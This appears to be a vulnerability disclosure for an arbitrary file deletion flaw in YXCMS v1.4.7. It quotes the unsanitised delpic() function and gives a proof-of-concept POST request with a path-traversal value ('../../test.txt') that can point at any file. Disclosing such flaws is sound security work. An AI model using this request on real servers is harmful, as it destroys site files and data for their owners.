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yxcms/Any file deletion
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| There is Any File Deletion vulnerablity YXCMS v1.4.7 | |
| Description: | |
| An issue was discovered in YXCMS v1.4.7 | |
| Any File Deletion vulnerability in /yxcms1.4.7/protected/apps/admin/controller/photoController.php | |
| Condition: | |
| You should be a Administrator(Obtain passwords and accounts via weak passwords or social engineering) | |
| The Cause of the vulnerability: | |
| There is a bug function in line 355th of this script, as shown in the following code: | |
| public function delpic() | |
| { | |
| echo $this->uploadpath; | |
| if(empty($_POST['picname'])) $this->error('参数错误~'); | |
| $picname=$_POST['picname']; | |
| $path=$this->uploadpath; | |
| if(file_exists($path.$picname)) | |
| @unlink($path.$picname); //focus | |
| else{echo '图片不存在~';return;} | |
| if(file_exists($path.'thumb_'.$picname)) | |
| @unlink($path.'thumb_'.$picname); | |
| else {echo '缩略图不存在~';return;} | |
| echo '原图以及缩略图删除成功~'; | |
| } | |
| POC(Burpsuite data package display): | |
| First visit the link http://127.0.0.1/yxcms1.4.7/index.php?r=admin/photo/edit&id=10 | |
| Then randomly select a picture, click delete and capture data packet to modify | |
| POST /yxcms1.4.7/index.php?r=admin/photo/delpic HTTP/1.1 | |
| Host: 127.0.0.1 | |
| User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0) Gecko/20100101 Firefox/61.0 | |
| Accept: */* | |
| Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 | |
| Accept-Encoding: gzip, deflate | |
| Referer: http://127.0.0.1/yxcms1.4.7/index.php?r=admin/photo/edit&id=10 | |
| Content-Type: application/x-www-form-urlencoded; charset=UTF-8 | |
| X-Requested-With: XMLHttpRequest | |
| Content-Length: 34 | |
| Cookie: PHPSESSID=b4hknkakpn3ke0aa18ct6itck5 | |
| Connection: close | |
| picname=../../test.txt //The parameter is replaced with any file you want to delete |